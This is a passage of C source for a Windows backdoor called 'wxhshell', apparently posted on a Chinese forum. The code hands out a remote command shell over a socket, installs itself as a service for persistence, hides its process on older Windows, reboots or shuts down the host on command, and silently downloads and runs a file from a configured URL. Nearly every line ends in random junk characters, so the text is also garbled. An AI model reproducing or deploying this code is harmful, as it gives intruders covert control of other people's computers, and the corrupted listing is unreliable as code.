  case '?': { R<x~KJ11c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vTU*6)  
    break; }0~4Z)?e3  
  } ify}xv  
  // 安装 $Q< >M B7  
  case 'i': { i"o %Gc  
    if(Install()) j]' 7"b5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aqzIMOAf  
    else #)N}F/Od^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Z]l4d3{T  
    break; R<n'v.~"A  
    } z 8\z`#g!  
  // 卸载 '9d] B^)F  
  case 'r': { +GqUI~a  
    if(Uninstall()) &`IC 3O5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pwg?a  
    else -3On^Wj]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `suEN @^  
    break; ^J-\s_)"  
    } z->[:)c  
  // 显示 wxhshell 所在路径 6<h ==I   
  case 'p': { ~y.t amNW  
    char svExeFile[MAX_PATH]; ^TF71u o  
    strcpy(svExeFile,"\n\r"); %DR8M\d1~H  
      strcat(svExeFile,ExeFile); W2F*+M  
        send(wsh,svExeFile,strlen(svExeFile),0); )UgLs|G~  
    break; &nyJ :?  
    } YZyV   
  // 重启 I@/+=  
  case 'b': { :7[20n}w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6./3w&D;  
    if(Boot(REBOOT)) FLzC kzJ:6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H%z9VJ*!0  
    else { /pS Y~*  
    closesocket(wsh); `!A<XiAOmM  
    ExitThread(0); Yg kd1uI.  
    } |`,AA a  
    break; (AI 4a+  
    } 7`_`V&3s  
  // 关机 rCp'O\@S  
  case 'd': { fS#I?!*}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C_ 4(- OWq  
    if(Boot(SHUTDOWN)) 9 m`VIB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6k-  
    else { l}MVk%[  
    closesocket(wsh); <tx`#,  
    ExitThread(0); =d M'n}@U  
    } h1AZ+9  
    break; sRkPXzK  
    } NwbX]pDT  
  // 获取shell O=;}VZ<9  
  case 's': { u]uZc~T  
    CmdShell(wsh); <A`zK  
    closesocket(wsh); Lsb`,:  
    ExitThread(0); (29BS(|!  
    break; AREpZ2GiU  
  } jH~VjE>  
  // 退出 Q8  
  case 'x': { M>_ U9g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >%1mx\y^  
    CloseIt(wsh); /JbO$A  
    break; ;&i4QAo-  
    } 'S#D+oF(1~  
  // 离开 gO%o A} !i  
  case 'q': { l:- <CbG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (F=q/lK$  
    closesocket(wsh); @T@lHc  
    WSACleanup(); 4RyQ^vL  
    exit(1); YE;Tpji  
    break; wGhy"1g#  
        } uG,*m'x']  
  } !si}m~K!_  
  } #Pr w2u  
tLSM]Q  
  // 提示信息 2C[xrZa^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GMOnp$@H^s  
} V_"UiN"o  
  } /ht-]Js$G  
ESi'3mbeC  
  return; b`& :`  
} g(QT"O!dY  
*iiyU}x  
// shell模块句柄 P TMJ.;  
int CmdShell(SOCKET sock) W'"p:Uh q  
{ T0v{qQ  
STARTUPINFO si; 7 V3r!y  
ZeroMemory(&si,sizeof(si)); /7LAd_P6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MHPh!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bv{DZ?{s  
PROCESS_INFORMATION ProcessInfo; gn)>(MG  
char cmdline[]="cmd"; "|nh=!L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y134m  
  return 0; nxhn|v  
} +<rWYF(ii/  
0x,NMS  
// 自身启动模式 m5 l,Lxj  
int StartFromService(void) \'.|7{Xu  
{ 9CPr/q9'  
typedef struct 7u<C&Z/  
{ FwwOp"[~t  
  DWORD ExitStatus; t7 +U!  
  DWORD PebBaseAddress; OJT%?P%@{  
  DWORD AffinityMask; Ef\&3TcQ  
  DWORD BasePriority; ~%!"!Z4  
  ULONG UniqueProcessId; w)Z-, J  
  ULONG InheritedFromUniqueProcessId; RYZM_@ 5$t  
}   PROCESS_BASIC_INFORMATION; XCj8QM.o  
0mR^%+~  
PROCNTQSIP NtQueryInformationProcess; @M!nAQ8hY  
QC<O=<$Q[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wo5fGQJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kr%w"$<  
]o ($No  
  HANDLE             hProcess; :!L>_ f  
  PROCESS_BASIC_INFORMATION pbi; o}e]W,  
)7  M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TpRI+*\  
  if(NULL == hInst ) return 0; B3Daw/G  
l#&\,T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >)bn #5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \pVNJ y$`<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jvr`9<`  
`]4tJJy$  
  if (!NtQueryInformationProcess) return 0; NeR1}W  
8fA8@O}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >D_!d@Z  
  if(!hProcess) return 0; !|~yf3  
46D _K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hH_\C.bL  
Ntlbn&lc;D  
  CloseHandle(hProcess); e4<St`K  
wUKt$_]``  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \kP1Jr  
if(hProcess==NULL) return 0; PQXCT|iJ  
z=C<@ki`  
HMODULE hMod; r#B{j$Rw   
char procName[255]; ]SUW"5L-  
unsigned long cbNeeded; 9#1Jie$  
2`A\'SM'4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o'=i$Eb  
WDF6.i ?  
  CloseHandle(hProcess); ld7B{ ?]  
!SThK8j$7  
if(strstr(procName,"services")) return 1; // 以服务启动 P\&n0C~  
Ygc.0VKMR  
  return 0; // 注册表启动 +HEL^  
} ZJV;&[$[  
ql7N\COoq  
// 主模块 q3ebps9^  
int StartWxhshell(LPSTR lpCmdLine) "@L|Z6U(  
{ }[: i!t.m  
  SOCKET wsl; b&!x.+d-z  
BOOL val=TRUE; &:#"APX  
  int port=0; b q8nV  
  struct sockaddr_in door; H(DI /"N  
6c*QBzNL  
  if(wscfg.ws_autoins) Install(); RY]jY | E  
* & : J  
port=atoi(lpCmdLine); s:J QV  
/ gP"X1.  
if(port<=0) port=wscfg.ws_port; UQq Qim  
p{;FO?  
  WSADATA data; ;eC8| Xz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i([|@Y=  
xpWY4Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @+Anp4%;Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,yTT,)@<  
  door.sin_family = AF_INET; Xbc:Vr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }VqCyJu&{  
  door.sin_port = htons(port); m 3Do+!M[  
D:XjJMW3r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8>'vzc/* >  
closesocket(wsl); >+Y@rj2  
return 1; in2m/q?  
} bl[2VM7P  
8i^d*:R  
  if(listen(wsl,2) == INVALID_SOCKET) { V BjA$.  
closesocket(wsl); CzI/Z+\  
return 1; w5q'M  
} k.wm{d]J  
  Wxhshell(wsl); zZiga q"  
  WSACleanup(); :</KgR0I  
3e1^r_YI  
return 0; vpoJ{TPO  
<,Fj}T-  
} -qpe;=g&f  
+z+u=)I  
// 以NT服务方式启动 P.kf|,8 L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *u!l"0'\  
{ ~;I'.TW  
DWORD   status = 0; f&? 8fB8{  
  DWORD   specificError = 0xfffffff; cfL:#IM  
|qtZb}"|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z"E2ZSa0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mf\@vI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vn^*  
  serviceStatus.dwWin32ExitCode     = 0; W=2#Q2)  
  serviceStatus.dwServiceSpecificExitCode = 0; FIpJ>E"n  
  serviceStatus.dwCheckPoint       = 0; _Q}vPSJviC  
  serviceStatus.dwWaitHint       = 0; s;xErH@RA  
*[tLwl.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K4^mG  
  if (hServiceStatusHandle==0) return; 7QHrb'c  
LR y&/d  
status = GetLastError(); .p-T >  
  if (status!=NO_ERROR) )`}4rD^b  
{ K<fB]44Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A<{&?_U  
    serviceStatus.dwCheckPoint       = 0; lA,*]Mr~  
    serviceStatus.dwWaitHint       = 0; _OJ19Ry  
    serviceStatus.dwWin32ExitCode     = status; K(Ak+&[  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q&e*[l2M6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %^bN^Sq -  
    return; }N@+bNh~  
  } ;b^"b{  
6<9gVh<=w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JmbWEX|  
  serviceStatus.dwCheckPoint       = 0; 90!67Ap`x  
  serviceStatus.dwWaitHint       = 0; N|asr,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |%fM*F^7/  
} Mgg m~|9)  
M(<.f}yZQ  
// 处理NT服务事件,比如:启动、停止 qfyuq]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SaA-Krn  
{ YbuS[l8  
switch(fdwControl) M[?0 ^ FBx  
{ P yN{  
case SERVICE_CONTROL_STOP: N@\`DO  
  serviceStatus.dwWin32ExitCode = 0; n<Z1i)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "ac$S9@~  
  serviceStatus.dwCheckPoint   = 0; )"f*Mp  
  serviceStatus.dwWaitHint     = 0; $'Qv {  
  { $WG<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `h$^=84  
  } 4_h?E:sBb  
  return; 3/4r\%1b+  
case SERVICE_CONTROL_PAUSE: iKEHwm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  Yk yB  
  break; | gP%8nh'C  
case SERVICE_CONTROL_CONTINUE: Ll0"<G2t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !Bn,f2  
  break; sjwD x0(7=  
case SERVICE_CONTROL_INTERROGATE: v42Z&PO   
  break; 0R}F( tjw  
}; !s(s^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a,KqTQB  
} NnqAr ,  
Oq*=oz^~1  
// 标准应用程序主函数 aui3Mq#f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?a'P;&@7  
{ yo_;j@BGR  
 El |Y]f  
// 获取操作系统版本 kr>F=|R]  
OsIsNt=GetOsVer(); OjfumZL#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jQ9i<-zc  
ZA'Qw2fF0  
  // 从命令行安装 S~Yu;  
  if(strpbrk(lpCmdLine,"iI")) Install(); m-XS_5x\  
Pze{5!  
  // 下载执行文件 v}BXH4&Y  
if(wscfg.ws_downexe) { PR~9*#"v..  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jt6,id)&  
  WinExec(wscfg.ws_filenam,SW_HIDE); FP9FE `x  
} 9 hdz<eFL  
QW_W5|_  
if(!OsIsNt) { )A:|8m  
// 如果时win9x,隐藏进程并且设置为注册表启动 _p\O!y  
HideProc(); pX]"^f1?O  
StartWxhshell(lpCmdLine); GKa_6X_  
} v7G&`4~  
else 4 -Cca  
  if(StartFromService()) ]j57Gk%z  
  // 以服务方式启动 Kld#C51X f  
  StartServiceCtrlDispatcher(DispatchTable); {x<yDDIv_  
else OzS/J;[PO[  
  // 普通方式启动 @"'$e_jj"  
  StartWxhshell(lpCmdLine); x0$#8  
1cY,)Z%l #  
return 0; #Iwxt3K  
}
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只看该作者 1 发表于: 2006-10-10
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